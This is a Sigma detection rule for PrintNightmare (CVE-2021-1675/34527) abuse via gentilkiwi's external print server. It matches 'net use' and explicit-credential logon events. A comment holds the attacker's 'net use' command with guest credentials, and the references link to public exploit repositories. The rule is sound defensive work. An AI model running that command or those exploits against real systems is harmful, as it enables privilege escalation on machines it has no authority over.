SystemNightmare by GentilKiwi - External printer mapped (CVE-2021-1675 / CVE-2021-34527)

title: SystemNightmare by GentilKiwi - External printer mapped (CVE-2021-1675 / CVE-2021-34527)
description: Detects scenarios where an attacker exploit the PrintNightmare vulnerability by abusing the Windows print spooler using the service exposed by Gentilkiwi
references:
- https://github.com/mdecrevoisier/EVTX-to-MITRE-Attack/tree/master/TA0004-Privilege%20Escalation/T1574-DLL%20side-loading
- https://github.com/GossiTheDog/SystemNightmare
- https://github.com/outflanknl/PrintNightmare
- https://github.com/cube0x0/CVE-2021-1675
- https://www.theregister.com/2021/09/21/microsoft_printnightmare/
- https://www.exabeam.com/information-security/detecting-the-printnightmare-cve-2021-1675-34527-vulnerability-using-exabeam/
tags:
- attack.privilege_escalation
- attack.t1574.002
- attack.t1547.010
author: mdecrevoisier
status: experimental
logsource:
  product: windows
  service: security
detection: # net use \\printnightmare.gentilkiwi.com\ipc$ /user:gentilguest password

  selection_process:
    EventID: 4688
    NewProcessName|endswith:
      - \net1.exe
      - \net.exe
    CommandLine|contains|all:
      - net use
      - printnightmare.gentilkiwi.com

  selection_cred_switch:
    EventID: 4648

  selection_cred_switch_opt:
    - TargetUserName: gentilguest
    - TargetServerName: printnightmare.gentilkiwi.com
    - TargetInfo: printnightmare.gentilkiwi.com

  condition: selection_process or (selection_cred_switch and selection_cred_switch_opt)
falsepositives:
- pentest
level: high